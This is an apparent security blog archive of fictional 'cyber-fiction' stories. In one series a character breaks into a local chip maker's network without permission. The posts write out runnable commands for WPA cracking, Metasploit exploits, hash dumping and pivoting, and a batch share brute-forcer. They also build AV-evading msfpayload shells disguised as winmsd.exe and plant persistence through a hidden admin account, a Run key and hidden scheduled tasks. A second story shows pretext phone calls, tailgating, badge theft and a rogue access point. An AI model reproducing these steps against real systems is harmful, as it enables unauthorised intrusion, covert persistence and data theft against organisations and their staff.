Showing posts with label Cyber-Fiction-Story. Show all posts
Showing posts with label Cyber-Fiction-Story. Show all posts

Wednesday, December 16, 2009

Bob's Double Penetration Adventure

PART 1

A couple of days ago a mate at work asked about the security issues surrounding computers that are connected to the company network and also to the Internet via a wifi connection. This question was perfect fodder for a Bob story I thought. So the story goes.......


Bobs a curious fella and he really likes to explore. Lately he's been learning about hacking, nothing evil, just really having a look in places that he shouldn't be looking, you know, a curiosity thing. As Bob sits at home it occurs to him that the perfect target for his hacking adventures is Walliford Fries, a chip maker based in his small town. He has nothing against Wallifords, he doesn't mean them any harm, he's just pissed off at the way the Wallifords are unloading their trucks at 5 in the morning and waking him up. So his intention is to see if he can get onto the Walliford network with some if these free hacking tools he's downloaded from the web and use Wallifords as his new playground.

Bob's not a traditional hacker, he doesn't go to the targets website and spend hours going through the detail, looking for business relationships, email address, job postings etc.. He hasn't even started looking at IP ranges and ports. All Bob has done is fire up his laptop sporting a brand new install of BackTrack4 and looked at whats about on the Wifi.



That's interesting, here he has a WPA network called WF-IT that is no doubt Walliford Fries related, After all, his house is within spitting distance of the Walliford offices. Shame its not WEP though, that could be cracked in minutes. Now Bob knows that his best bet is to customise his word list for this particular target, so he decides to scrape Wallifords website and add all those words to his wordlist.

wget -r http://www.wallifordfries.com
wyd.pl -n -o /root/temp/WF-wordlist.txt /root/www.wallifordfries.com/

cat /root/temp/WF-wordlist.txt | sort | uniq > wordlist2.txt

cat wordlist2.txt | pw-inspector -m 1 -M 20 >WF-customlist.txt


After creating his custom wordlist Bob decides to add it to an existing wordlist. As he'll need to create a hash of his wordlist to bruteforce the WPA key he just opts for his small but popular password list, if this fails he'll have to go for the bigger wordlist he likes to call "Mother", but first he'll opt for the easy option.

cat WF-customlist >>/root/temp/wordlist.txt

Bob now needs to get his wireless sniff on. He puts his wifi card into monitor mode and grabs the necessary BSSIDs of the access point and a client.

airmon-ng start wlan0 11

airodump-ng -c 11 mon0



With the BSSID of the client and the Access Point he starts his capture and saves it to a file.

airodump-ng -c 11 --bssid 00:18:F8:4B:43:86 -w /root/temp/Walliford mon0



With the capture going he sends a few de-auths packets so he can capture the 4 way handshake, this is critical for him to perform his WPA crack.

aireplay-ng -0 1 -a 00:18:F8:4B:43:86 -c 00:11:50:BB:D6:28 mon0



Great, Bob now has all he needs to begin his WPA crack. He quickly generates his hash file from the custom wordlist, hopefully all this effort will pay off.

To generate the hash he uses the genpmk tool from the cowpatty directory.

./genpmk -f /root/temp/wordlist.txt -d /root/temp/hash -s WF-IT

And to crack the key he uses cowpatty.

./cowpatty -r /root/temp/Walliford-01.cap -d /root/temp/hash -s WF-IT



Bingo! Bob got the WPA key in no time at all. He checks it by taking the card out of monitor mode and connecting to the AP.

airmon-ng stop mon0



Excellent, as soon as Bob finishes punching the air and doing his little dance he checks the wifi network for other hosts.

nmap 192.168.2.0/24 -sP



Got one, well two if you count the Linksys AP but lets focus on the one using the Belkin card for now. Wondering what ports it has open Bob puts Nmap to good use, again saving the results to a file.

nmap 192.168.2.102 -sV -oA ~/temp/wal-nmap



Bobs intention is to fire up Nessus and scan his target but first he knows a quick way to check for a vulnerability that he knows he has a working exploit for.

nmap 192.168.2.102 -PN -T4 -p139,445 -n --script=smb-check-vulns --script-args=unsafe=1



Perfect, Nmap has told Bob that he should be able to exploit the remote PC with the conficker exploit. He can't believe that Walliford still has unpatched PC's for this vulnerability. I guess the guys from pauldotcom are right. They have a firewall and they have AV so there safe right? Wrong!

Bob confirms his findings with Nessus and checks for any other vulnerabilities that he might have some fun with.



Well Nessus confirmed the vulnerability from his Nmap scan which is good but it doesn't find much else. Oh well, he saves his scan as an .nbe file so he can feed it into Metasploit.

After firing up Metasploit Bob decides to try out the db_autopwn feature to launch any exploits that it has against the ports it's found open.

db_create walliford
db_import_nessus_nbe /root/temp/walliford.nbe

db_hosts
db_autopwn -p -e -r -t




Oh and time for another crazy dance, Bob gets a session on the remote host and he can see that he's got system privileges which is always nice. He dumps out the local users hashes for some John the Ripper fun later and he checks out the route table. Superb, he can see that the remote host is also connected to the Walliford LAN.

sysinfo
getuid

hashdump




At this point Bob decides at this point to get a little interactive so he pulls up a command prompt on the compromised host.

execute -H -f cmd.exe -i

He TFTP's a couple of handy dandy files from his laptop and grabs the hashes of any domain accounts that have logged into this box. With a hostname such as PC-IT-1 he guesses these are going to be quite useful for his exploration adventures in his new playground.

tftp -i 192.168.2.101 get cachedump.exe
tftp -i 192.168.2.101 get klogger.exe

cachedump.exe




Now he decides to have a little look around on the server. He maps a drive to the IT folder and attempts to have a poke around.

net view \\server01
net use * \\server01\IT




Damn. The NTFS permissions wont allow him access. Then it dawns on him, the system account he is using doesn't have permissions on the server. Maybe not but with a hostname like PC-IT-1 the logged in user probably will have. He comes out of his session lists the processes and then migrates to a process which is running in the context of the user.

quit
ps
getuid

migrate 784

getuid




Perfect, he's migrated to the Explorer.exe process and now he's now running as James. Bob launches an interactive shell again and checks his mapped drives.

execute -H -f cmd.exe -i
net use

I:




Brilliant. Bobs got access to the IT folder. From here he can have a good poke around before he decides his next move. He's got some good old fashioned password cracking to do and times getting on so Bob decides to call t a day for now.



PART 2

So Bob decides to revisit his new found playground at Walliford Fries and get to grips with his new tools. He connects up to the wifi with the password he's already cracked and this time rather than using the Autopwn feature he decides to try something else. Bob's idea is to use the PC he exploited previously as a point to launch other attacks deeper into the network.

Bob launches his trusty MS08-067 exploit this time with a meterpreter/reverse_tcp payload

use windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
set RHOST 192.168.1.102

set ExitOnSession False

exploit -j -z




Excellent, Bob gets his session. He connects to the session and checks the network settings on his compromised host.

sessions -i 1
execute -H -f cmd.exe -i

ipconfig




While he is on the remote host Bob checks a few things, ideally he could do with knowing about the network servers. At this point he just wants the basics, name & IP.

Net view



And he could do with the IP addresses too. He'll want these for his scans.

ping -n 1 server01
ping -n 1 server02






That'll do for now. Bob comes out of the shell, backgrounds his meterpreter session and creates a route pointing to the internal LAN through his session.

exit
background

route add 10.0.1.0 255.255.255.0 1
route print



Now time to see if the magic works. Bob selects the auxiliary scanner and checks the OS versions of the two servers on the internal LAN by pivoting through his compromised host.

use auxiliary/scanner/smb/version
set RHOSTS 10.0.1.230

run
set RHOSTS 10.0.1.231
run



Hmmm, interesting. Windows 2003 with no service pack. Bob wonders if he can exploit that through the pivot?

use windows/smb/ms08_067_netapi
set RHOST 10.0.1.231

set PAYLOAD windows/meterpreter/reverse_tcp
exploit





Bugger! No such luck. Hang on though, Bob remembers something he read once. He can use Mubix's handy dandy deploymsf script to install Metasploit on his compromised host. Perfect!

He grabs files he needs from the web, putting them into his plugin directory.

cd /pentest/exploits/framework3/plugins/
wget http://metasploit.com/releases/framework-3.3-dev.exe
wget http://www.room362.com/scripts-and-programs/metasploit/deploymsf.rb

And then it's just a case of connecting back to his session on the pwned box, running the script and pointing it to the metasploit executable.

sessions -i 1
run deploymsf.rb -f ../../../pentest/exploits/framework3/plugins/framework-3.3-dev.exe




Holly crap Batman! look at that. Bob has installed Metasploit on the host he compromised, thanks to a weak password on the wireless LAN and a missing patch or two.



Now the output isnt always pretty but it gets the job done.



So whats next? Well there is that server with no service pack to take care of. For that Bob will try his old faithful ms06_040 exploit.

use windows/smb/ms06_040_netapi
set RHOST 10.0.1.231
set PAYLOAD windows/meterpreter/reverse_tcp

exploit



Perfect, another box to play with. Now Bob wants to dig in deep so he can play on this network for as long as possible so he's going to need to start pulling together some serious information. He could get this all manually but of course that's pretty dumb, especially when he can use Dark Operators excellent WinEnum script. This will go out and grab nearly everything he wants so he acn understand the network better and stick it all in one big text file so Bob has some bedtime reading. As Bobs already sitting in a meterpreter session he simply runs the WinEnum script.

run winenum




Sorted. Again it's getting late so Bob decides to call it a day. Before he does though he needs to leave himself a few backdoors.......which will of course be in the next post.

Bob Prepares For Action

Bobs back and he's been thinking about his new playground. He's realised that if he's not careful he'll attract attention and get into trouble, so he needs to lay down some ground-rules and define some goals before he goes back on the Wallifords network. If he's going to get the maximum benefit from Wallifords as a training ground rather than a playground he needs to get serious and stop recklessly throwing exploits at any old box.

Goal 1
To extract as much information about the Walliford Network as possible.

Goal 2
To identify high value targets and gain access to those systems.

Goal 3
To remain undetected.

Goal 4
To generally have fun, learn his tools and practice his techniques.


Pretty simple goals eh. Bob knows that to remain undetected he's going to have to use as many tools that are already on the compromised host as he can. He knows that he needs to use as many legitimate tools as possible and only upload those that won't be detected by AV.

Getting his tools onto the compromised hosts is important, but uploading them one by one is a pain in the arse. Then Bob remembers something he heard in a great presentation on post exploitation from Dean Der Beer, a reference to a tool called Metacab. He takes a look at Metacab but decides against using it. Bob really likes the idea of Metacab but he wants a different set of tools so he goes about making his own version. Using the Makecab tool already in XP he creates a cab file containing the few additional tools he needs, knowing he can upload and extract the files from the cab with native windows tools from straight from the command-line.

The one tool he cannot do without is netcat but AV picks it up quite easily. Then Bob remembers that his Nmap directory has ncat, a new version of netcat with loads of additional features. Bob runs it through virustotal to see what gives.



Perfect, only detected by one AV product out of 41. Now Bob knows that he can use this tool for file transfer, creating proxies and even backdoors. Many of the other tools he decides to include in the cab file come from the Windows Resource Kit. This means that there is very little chance of them being detected by AV or looking like Potentially Unwanted Applications (PUA) on the host.


Tools List

cmd.exe
dsadd.exe
dsget.exe
dsquery.exe
edit.com
ncat.exe
net.exe
ngrep.exe
pmon.exe
PortQry.exe
reg.exe
srvinfo.exe
WinDump.exe

As expected VirusTotal finds nothing wrong with his other tools, but then again why would it.

So looking at his tools Bob has his ncat for backdoors and file transfer, he has a port scanner, pmon for keeping an eye on his hosts CPU and memory, tools for extracting anything out of Active Directory, packet sniffers, SrvInfo which is great for looking at details of servers. He also includes a couple of standard tools such as Net.exe and Cmd.exe which are there just encase they had been removed by the Sys Admin. Hopefully he's got everything he needs for a successful expedition into the Walliford Fries network. If not, he'll go back to the drawingboard and create a new cab file.

Bob also creates a few bat files that he can use for scanning and password checks. It's easier to create these now and include them in the cab than it is to write them on the fly.

His first bat file is a simple bruteforce script that will use in-built windows functions to bruteforce shares. He'll supply a userlist (names.txt) and a common password list (words.txt) to the bat file. The password list will be common passwords and can be tweaked using the inbuilt DOS Edit tool when he's on the target, and the userlists will be generated from his enumeration tool dsquery . After running the bruteforce script any succesfull logins will be saved to a text file (creds.txt). Bob knows from performing password audits in his other life that even when complex passwords are enforced users will still pick dumb complex passwords, such as Password01. And when it comes to change it......well of course were looking at Password02!

Before any bruteforcing is done Bob will be checking the password policies so he doesn't trip any account lockout thresholds. So if the account lockout policy triggers after 3 incorrect attempts in half an hour he'll just try 2 common passwords on all accounts. As they say, slow and steady wins the race.

Set /P target="Enter Target To Perform BF on:"
For /F %%i in (names.txt) do @(for /f %%j in (words.txt) do @echo %%i:%%j & @net use \\%target% %%j /u:%%i 2>nul && echo %%i:%%j >> ./creds.txt && net use \\%target% /del)


Bob will use the either net.exe or dsquery.exe to populate his names.txt file. Dsquery is fantastic for ripping through Active Directory and if you know what your doing you can use them to pretty much find out anything about users and computers. The beauty is, these tools can be run from any user account, so you don't need to pop an admins box to get some juicy info.

The next bat file that bob will include is to check for hosts that respond to a ping and output the results to a file.

set /P subnet="Enter subnet:"
for /L %%i in (1,1,255) do @ping -n 1 -w 1 %subnet%.%%i | find "Reply"



Another bat file is created to perform reverse lookups using a nslookup FOR loop.

set /P subnet="Enter subnet:"
For /L %%i in (1,1,255) do @nslookup %subnet%.%%i 2>nul | find "Name" && echo %subnet%.%%i



And finally a bat file to use the Portqry tool for port scans against hosts in a host file (hosts.txt). Again he can use dsquery or net.exe to populate the hosts file.

For /F %%i in (hosts.txt) do @PortQry.exe -n %%i -o 21,22,23,25,80,139,445,3389,1433 -p tcp

Ok, that'll do for now. Bob builds his ddf file for his cab file and creates the cab.

;*** MakeCAB Directive File for bin
;
.OPTION EXPLICIT ;*** Generate errors

.Set MaxCabinetSize=0
.Set MaxDiskSize=0

.Set CabinetNameTemplate=bin.cab

.set DiskDirectoryTemplate=CDROM ;

.Set CompressionType=MSZIP ;

.Set UniqueFiles="OFF"

.Set Cabinet=on
.Set DiskDirectory1=bin
bf.bat
cmd.exe
dsadd.exe

dsget.exe

dsquery.exe

edit.com

hosts.txt
names.txt

ncat.exe
net.exe

ngrep.exe

pingsweep.bat

pmon.exe

port-scan.bat

PortQry.exe

reg.exe

rev-lookup.bat

srvinfo.exe

WinDump.exe

words.txt

;*** EOF




And to build his super duper cab, he makes sure all the tools, bat files and the bin.ddf file is in the same directory and.....

makecab /F bin.ddf



Perfect, after building his cab file it comes in at less than 1MB, Bob honestly couldn't be happier. He'll have to use the windows built-in tool called Expand.exe to get his files out of the cab.

expand /F:* bin.cab .




Right with that done Bob is almost ready to hop onto his target and put his tools to good use and start his network exploration.

Bob The Backdoor Man - Part 1

Bob hears on the grapevine that ncat won't work as a single executable. This is a bit of a bugger and it does give Bob a problem. His intention was to use ncat for file transfers, proxies and backdoors. It was also pretty useful that it was pretty much undetected by AV.

Luckily for Bob he hears from a good friend that it's quite possible to modify netcat to be able to bypass anti-virus software. And luckily for Bob, the most talented Muts has created a video that shows him exactly how to do that here.

This problem also presents Bob with the perfect opportunity to get his hands dirty with some msfpayload love. He reckons that if he creates a couple of payloads to add into his cab file he should be able to do everything he needs. And the beauty of using msfpayload is he'll be able to run them through msfencode to bypass most anti-virus.

Before Bob creates his payloads he grabs a copy of winmsd.exe from his Windows OS. It doesn't really matter to him what file it is he just wants one that is a Microsoft file. He want this because all his payloads can take on the characteristics of the file. Rather than going to great lengths to hide a file, Bobs opinion is that hiding in plain site will probably be better.


Payload 1
For Bobs first payload he wants to create a generic payload that will spawn a command shell when he connects to it on port 6666.

./msfpayload windows/shell_bind_tcp LPORT=6666 R | ./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd16.exe




Bob has specified a payload that will bind a shell to port 6666. He outputs this in raw format to the msfencode program that will help avoid detection by anti-virus software. Finally he has specified that the file is called winmsd16.exe and upon physical inspection it will look just like the original winmsd.exe file.

After Bob creates the file he tests it out on his XP VM to make sure it works as expected.



Side by side it looks just like the original file, it is identical in size and looks just as through its a legitimate file from Microsoft.

Bob runs the file and checks he can connect to it with netcat.

nc 10.0.1.10 6666



Payload 2
Bobs second payload will connect back to him when he's on the wireless network and present him with a meterpreter shell.

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.102 LPORT=8080 R | ./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd32.exe

Again Bob uses a legitimate file to copy the characteristics from. This time on his host he has to make sure he has his listener ready on port 8080.

Bob decides that when he creates his listener he'll use msfconsole and pass the following commands:

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
set LPORT 8080
set ExitOnSession false
set AutoRunScript winenum.rb
exploit -j -z

Bob has configured his listener to accept multiple sessions coming back to him, and the very useful winenum script developed by Carlos "Dark operator" Perez will run against each connecting host. All the information from the script will be stored in ~/.msf/logs/ Bob may well decide to change this at a later date to another script but for now he's very happy.

With his modified netcat and his payloads created and tested Bob rebuilds his cab file and goes to get his dinner. He knows that during his network exploration adventures he may well come up against some problems that will cause him to create some payloads on the fly but he'll deal with that when it happens.

Whilst eating his dinner Bob begins to worry that if the Admins at Walliford Fries patch the computers he may well lose his way in. By the time Bob has eaten his ice cream desert he has come up with a few ideas how he might overcome this particular problem.


Bob The Backdoor Man - Part 2

The very next day Bob feels ready to hop back onto his compromised host on the Walliford Fries LAN and get his back doors planted. He logs into the wireless network with the WPA key he cracked earlier and he uses the gets a shell on the unpatched PC with the MS08-067 exploit.

use windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.102

set LPORT 8181
set RHOST 192.168.2.101

exploit



Bob migrates to a stable process then uploads his backdoors to the Windows\System32 directory using Meterpreters upload function.

migrate 714
lcd /root/payloads
upload winmsd32.exe

upload winmsd16.exe





After Bob lauches a shell he creates a new user and adds it to the Administrators, Power Users and the Backup Operators groups

shell
net user MS_Support31337 Support31337 /add
net localgroup Administrators MS_Support31337 /add
net localgroup "Backup Operators" MS_Support31337 /add

net localgroup "Power Users" MS_Support31337 /add



He choose these privileged groups as a group policy may be configured to control the local Administrators group and by remaining in the other groups he will still have a high level of access.



Now Bob wants to get down to business and plant some of these lovely backdoors he's created. Bobs first port of call is to create a registry entry to run his meterpreter payload and connect back to Bob each time the computer is booted.

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft winmsd32" /d "C:\Windows\System32\winmsd32.exe"



Bob check that his registry entry has been set using the reg query command.

reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run





Then it occurs to Bob that someone may well stumble across his registry entry and remove it so he decides to have a backup by creating some scheduled tasks. One task (the meterpeter reverse connect) will run every 10 minutes and the other (the listening shell) will run at startup.

schtasks /create /tn "Winmsd32" /tr C:\Windows\System32\winmsd32.exe /sc minute /mo 10 /RU "NT AUTHORITY\SYSTEM"

schtasks /create /tn "Winmsd16" /tr C:\Windows\System32\winmsd16.exe /sc onstart /RU "NT AUTHORITY\SYSTEM"



Now the only way the normal logged in user would see these Scheduled Tasks is by looking at the directory using a command prompt. Only an Administrator running schtasks on the PC would see these scheduled tasks, anyone else will see nothing. Even looking at the C:\Windows\Tasks folder through explorer wouldn't show the tasks as it will only show the current users tasks.

Bobs pretty happy about this but what would make him happier would be if it was really really hard to see his backdoors. Then it occurs to him that by changing the attributes on the jobs in the tasks folder it would be really really hard as the user would have to do a "dir /a:h *.*" on the directory specifically. Okay, so thats not really really hard but it is a bit of a bugger!

cd \windows\tasks
Attrib +H winmsd*.job


Then Bob checks his handy work by looking at just hidden files.




Great, Bob fires up another instance of msfconsole and sets up his handler for the sessions that should start coming in.

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.2.102

set LPORT 8080
set ExitOnSession false

set AutoRunScript winenum.rb

exploit -j -z



Within a minute or 2 Bob gets a session from his scheduled task backdoor.



What he really likes about these scheduled tasks is he wont get loads of sessions back from the same host, but if he looses connection he'll get another session back 10 minutes later. Also, every now and then Bob can change the AutoRunScript so Metasploit can gather all sorts of useful information on his behalf.


Now Bob is in, he has his backdoors sorted and he wants to have a look around to see what else might be interesting. Bob has a knows a guy who works for Wallifords. Now this guys is a bit of a dick and is always boasting about how much he earns. Bobs sure the guy exaggerates, wouldn't it be nice if Bob could access the payroll data and see if this guy is telling the truth?


Oh, look at that, lunch time. Bob goes and gets his dinner and has a think about what other interesting things he might be able to find on the Walliford network.

Tuesday, December 15, 2009

The Story of an Newbie Hax0r

- Introduction

This story will again be a little different from my previous stories as I plan to introduce some social engineering techniques. I'm not sure how long this story will run for as yet. This is just a fictitious story and no Windows boxes were harmed during the making of these posts.

As always I welcome any feedback and these posts are just a bit of fun and anyone using techniques described here to access systems should get permission first.



Setting The Scene


It started out with an ad I heard on an underground podcast.

"Were sponsored by Hackers On Site, their specialty is hacking people and their technologies. Now, in the past you’ve thought, oh, I would like to hire a hacker, somebody to help me hack a system or root a box. But you’ve wondered, how can I know whether they’re any good or not? And that’s a real problem. That’s why you’re going to love Hackers On Site. All Hackers on Hackers On Site are independent Hackers, but they’re certified, and they have a University of Hackerology. There not hacking for themselves but they are by themselves.

And in fact they’re looking for new Hackers. So if you want to be a Hacker, you can. Hackers On Site is in Canada, U.S., Mexico, England, Australia, South Africa, and Beyond"



I can't believe it, all I do is run a little security website and I get an email asking if I want to join Hackers On Site. I guess I am pretty active in a few forums and on IRC but this is great, it's like my dream come true. The email said I can work as much or as little as I want, they will offer me hacking assignments and if I am available I can do them. What a gig! All I have to do is prove myself on this first job and then pick up further instructions. And the best part is and I get paid for doing what I enjoy most. Okay so there's a risk, but lets face it, theres a risk that i'll get hit by a bus but I still cross the road!Link

Well my first assignment turned up today. My job is to gain a foothold on the internal network at a targets site, once done I'll receive further instructions. I have 2 weeks to get on the targets LAN and a budget of £500.

The target in question is Scanned4U. A company that specializes scanning paper archives and archiving them in digital format.

Part 1 - It's Good to Talk!!!

If you haven't read the intro you can find it here.


Monday

I start off with some online research. It turns out that ScannedU have recently been awarded some pretty big contracts with the local authorities and a couple of small banks, no wonder people are interested in it. Scanned4U has sister companies called Shredded4U and Safe4U that specialise in shredding and off-site backups. While I'm on the site I have a good poke around but I gotta admit, web hacking isn't my strong point. I harvest as much data on the target as possible and spend a while pouring through it, trying to really understand the company.

I perform WHOIS lookups and get an idea of how the network is laid out by checking the MX records of the target and the sister companies. As I thought, they have the same MX record and it routes through a email filtering company. The website is hosted at the same IP as the sister companies too and I really struggle to find the public IP Range that the network must be on. Oh well, there is more than one way to skin a cat.


Using a little Google-Foo to filter out the crap I see that there's quite a few pdf's on the site.




i then use wget to grab the pdf's so i can run them through strings to grab any useful metadata.

wget -r -l1 -nd -np -A.pdf -robots=off http://www.scanned4u.co.uk


I spend the next couple of hours scraping the metadata from published pdf's and the result is I have myself a nice list of names, usernames, email addresses and contact details.

Now I have a few valid email addresses I create an email with an account I happen to know, with a link to a picture on a rather obscure mail server I happen to "0wn", as soon as the picture gets either viewed in a email client which renders HTML or clicked on I should have one of the addresses from the public range.

Now I use Google Maps to check the site layout and I'm happy to see it's not like Fort Knox. I can see several places where staff can go outdoors that are publicly accessible. I bet there will be some sort of door entry system, oh well, theres always ways around that.


This is all very good for a days work but tomorrow I think that I try the more direct approach, like a good old fashioned telephone.



Tuesday

Call 1

"Hello Scanned4U, how can i help?"
"Hi, I'm trying to get to your website and I think there is a problem. Do you know if there is anything wrong it?"
"Oh, I'm not quite sure I'm quite new here. Hold on a second please.........I have a number for IT do you have a pen?".
"Sure, hang on a second...isn't IT support at your site?"
"No they are not based at this office"

"Oh right. OK I have a pen"
"The number is 01344 666777"

"That's great. Who am I speaking to?".

"I'm Karen"
"Thanks for your help Karen, Bye".



With that I hang up. So I now know that the new receptionist Karen is very helpful, aren't they all! I also know that IT Support isn't based at the targets site which is useful to know. Maybe I'll give them a ring. See if they can help me.


Call 2

"Hi, IT Support"
"Hi it's David from Weatherby, I rang about a printer problem last week"
"Hi David it's James, Do you have ticket reference?"
"Oh, I'm not at my desk at the moment"
"Okay, do you know who took your call?"
"I'm not sure, who have you got there?"
"it would have been Martin, Paul, Ian or myself as Geoff was on holiday"
"I think it was Ian, but to tell the truth I'm not to sure. Anyway I was just ringing to let you know it's fine now."
"That's great, thanks for letting us know"
"OK cheers James. Oh one last thing, when is one of your guys down here next? I have a bunch of cables that are no good to us and you guys might know what they are for"

"Next Monday morning as usual, I'll get Ian to pick them up from reception".

"Thats great. Bye"

Okay, now I'm getting somewhere. I have the names of the IT Support guys and the schedule for the site visits.



Wednesday


After having time to think about what I need to achieve I figure out that I need to get more of a feel for the place. I take a trip to town and get some printer brochures from a few local print shops, get a couple of business cards made on the card kiosk machine then I call back Scanned4U.


Call 3

"Hello Scanned4u, how can I help?"
"Hi it's Paul at PrintLine, I have someone making some drop offs in your area tomorrow would you mind if we dropped the new brochures in for Clare?"

"Clare in Marketing?"

"That's right"
"I'm sure that'll be fine"
"Great, thanks. Bye"

"Bye"


Brilliant, now I'll get to see the targets site first hand.



Thursday

So I'm dressed pretty casual like any normal delivery driver, with a good few days stubble and a baseball cap. I drive over to the target's office and looking like I'm lost I park as far away from the reception as possible. This gives me the chance to have a decent look around whilst just looking like someone who is lost. All the time I'm driving around I'm scanning for wireless network with my trusty iPhone. Unfortunately I see none.

I see a few smokers hanging around by a back entrance and I nip over to have a cigarette with them, just to be polite. After making brief polite conversation I ask where reception is and one of the girls swipes in through the entrance and takes me through the building to reception. I notice that there are only swipe card points on the outside doors, internally there don't seem to be any. Obviously once your in your classed as a good guy.

Whilst I'm moving throughout the building I'm making mental notes of the security of the place. I also pay close attention to the equipment in use, I see a xerox copier with a NTDS Ltd sticker on the side, the swipe card system has the same company name as on the alarms on outside of the building, ATT Ltd. When I get to reception I say hi and straight away start to sign into the visitor book as I ask reception to let Clare know Robert is here from ScanLine. I take every opportunity to discreetly look at any PC screens for operating system details and antivirus software in use. Thank god for system tray icons, that's all I can say. And I see that they are using XP, MS Office, VNC and AVG. All useful info and totally free.


By the time a confused Clare gets to reception I have myself a nice new visitor badge. I say hi to Clare and explain that I've been asked to drop the brochures off by my manager. As Clare thanks me and I start to sign out I ask if I could use the toilet. After I'm shown to the visitor toilet I take photo's of my visitor badge and make notes on my iPhone of all the details from the copier, alarms and also the toilet hygiene equipment too. Well you never know.

Before leaving the toilet I put the visitor badge in my pocket in the hope that out of site really does mean out of mind, which luckily it does, the receptionist forgets to ask me for it back.



Friday

So I have now got enough information about the target to feel comfortable enough to go in. After spending most of the day planning my next move, I have decided I am going to get a rouge access point/PC into the building and connect to it from outside the perimeter. Once I have my rogue AP in I'll attempt to connect out to a host via the Internet so I can perform the remainder of my assignment from the comfort of a nice warm house.

Part 2 - Creating My Evil AP


So I have a budget or £500 for this part of my assignment. I've already used a little of it getting the business cards printed and on fuel. I've decided that my next course of action is to get into the targets premises and install a rogue AP that I can connect to from nearby using encrypted WiFi. I also want to pimp out the rogue AP with any tools I might need to do any further tasks.

I'm banking on finding a live ethernet socket when I get in, so that I can connect to it and get an internal IP on the LAN. As IT Support do not work from this site I'm hoping that they have flood patched a few ports to reduce site visits.



First thing first, shopping!

I get down to the local superstore and pick up a nice shiny Hacktop (Acer Aspire One) for £250 and I set about prepping it to be my Evil AP.

First I wipe it clean with DBAN and load up a fresh copy of Linux. I get all my favorite tools loaded up, Nmap, Hping, Screen, John, Ettercap, TCPDump, Netcat etc.... oh and a few extras too, but I'll come back to those later.

Next I set about a little hardening. I password protect the BIOS and disable USB bootup. I then set a GRUB bootloader password and remove the rescue mode. I also disable any services that are not required such as Cups, Pulse and the Accessibility services.

I configure my SSH server on the AP to listen on a non-standard port, and only accept connection on the wireless interface. This will go some way to protecting the box from curious wardrivers. I also block any root logins and enter a line in the config file to allow only users of a specific group access to SSH, and that group only contains one very restricted account (bob). This way if someone was to bypass all the other measures they would have to guess the password to a single account which has access to nothing at all and then they would have to bruteforce another more privileged account such as root.

Maybe my paranoia is getting the better of me!




To cover as many eventualities as possible I also want to make sure I can get access to the GUI remotely so I enable shared desktop, which is a front end to VNC, this is moved to a non-standard port (5678) and locked down with ipfilter rules. i'll only be connecting through a SSH tunnel.



Next I configure the wireless network:


ifconfig wlan0 down iwconfig wlan0 mode ad-hoc essid "hpsetup" channel 2 enc on key 123123123

ifconfig wlan0 192.168.99.1 netmask 255.255.255.252 broadcast 192.168.99.3 up




I have configured the SSID to be the same as those annoying printer SSID's that you see in most offices, and even though I'll be using SSH to control the AP I've applied encryption (if you really want to call WEP encryption that is). I have also configured the network card with a 30 bit network mask, this will allow just the AP and the controller on the network which again raises the bar for anyone with ideas of owning my rogue AP!!!


Now I lock down all ports other than SSH on 7890 with a few Iptable rules, allowing just the controllers IP access.


iptables -I INPUT 1 -i wlan0 -p tcp --dport 7890 -s 192.168.99.2 -j ACCEPT

iptables -I INPUT 2 -i wlan0 -j DROP

iptables -I INPUT 3 -i eth0 -j DROP

iptables -L




I now set about configuring my controller laptop.

ifconfig wlan0 down iwconfig wlan0 mode ad-hoc essid "hpsetup" channel 2 enc on key 123123123

ifconfig wlan0 192.168.99.2 netmask 255.255.255.252 broadcast 192.168.99.3 up

route add -host 192.168.99.1 0.0.0.0 wlan0



Brilliant. I have the WiFi working, now I test SSH and the VNC SSH tunnel.


ssh -L 5678:localhost:5678 -p 7890 b0b@192.168.99.1



Then I point my remote desktop to localhost:5678



and bingo! I have my remote desktop working over a secure SSH tunnel.




Great, everything seems to be working well. Once I get my hacktop into the targets premises I'll issue the following command to get the wired interface a DHCP address.

dhclient eth0


Now I just have to work on the camouflage and concealment. Back in my army days I would have smothered it in cam cream and taped a bush to the screen, in an office environment I think a standard nondescript box will have to do!


Coming up .............A little grunt work does hurt anyone.


Part 3


Monday

Right, so same score as before but this time I'm going to give myself a bit of a backup plan, I'll ring first and tell them I'm coming (well sort of.) I'll also look different, glasses, smarter clothes, fake nose (just kidding!). Of course there is a risk that they'll recognise me but hopefully I'll be fine, last time I was about I kept a low profile, and most of the time people are not on the lookout for this sort of thing.

Now, i know from a previous call that Ian will be on-site today, my plan is to arrive after he has left. Before I arrive I'll call and lay the groundwork for a site visit. This will put the receptionist at ease and make her comfortable with me turning up. First I check when Ian is due back by calling his office.

Call 1

"Hello IT Support"
"Hi is Ian about?"

"Sorry he's on site all day but he'll be back first thing. Can I take a message?"

"Oh don't worry I'll give him a call tomorrow. Thanks"



And with that I hang up. Right, so I'll wait until the morning before going to site but I'll get there nice and early whilst people are coming and going. It's a bit easier to move around a building you don't know when there are plenty of people coming and going. Shoulder surfing's also allot easier at those times but I'm hoping not to need to do that as I should be able to get a pass. Any spare time i get I am brushing up on the target organisation. I'm still trawling the website, getting information on business relationships between Scanned4U and it's sister companies. I found out that my target is the smallest and newest company within a group of companies called IT4U. One of the other companies (BackUp4U) has been awarded some pretty high profile contracts backing up data for some large banks. Pretty interesting!


Tuesday

And it's D-Day, I get the show on the road with a few calls.


Call 2

"Good morning, Scanned4U, how can I help"
"Hi, it's James, is that Karen?"

"Yes it is"

"It's James from IT"

"Oh hi James"
"I have a guy stopping by to drop some stuff of for an upgrade that we have coming up, he's a new guy would you ask him to ring ,me when he gets there he's forgotten his phone and I need some info for the audit we have to do?"

"Sure, what's his name?"

"It's Brad Carter"

"No problem I'll let him know. is there anything else?"


Now here I have have her asking me if there is anything I want, how could I possibly pass this up?

"Oh there was one thing. Can I quickly get your PC detail for the audit to save Brad from interrupting you when he arrives?

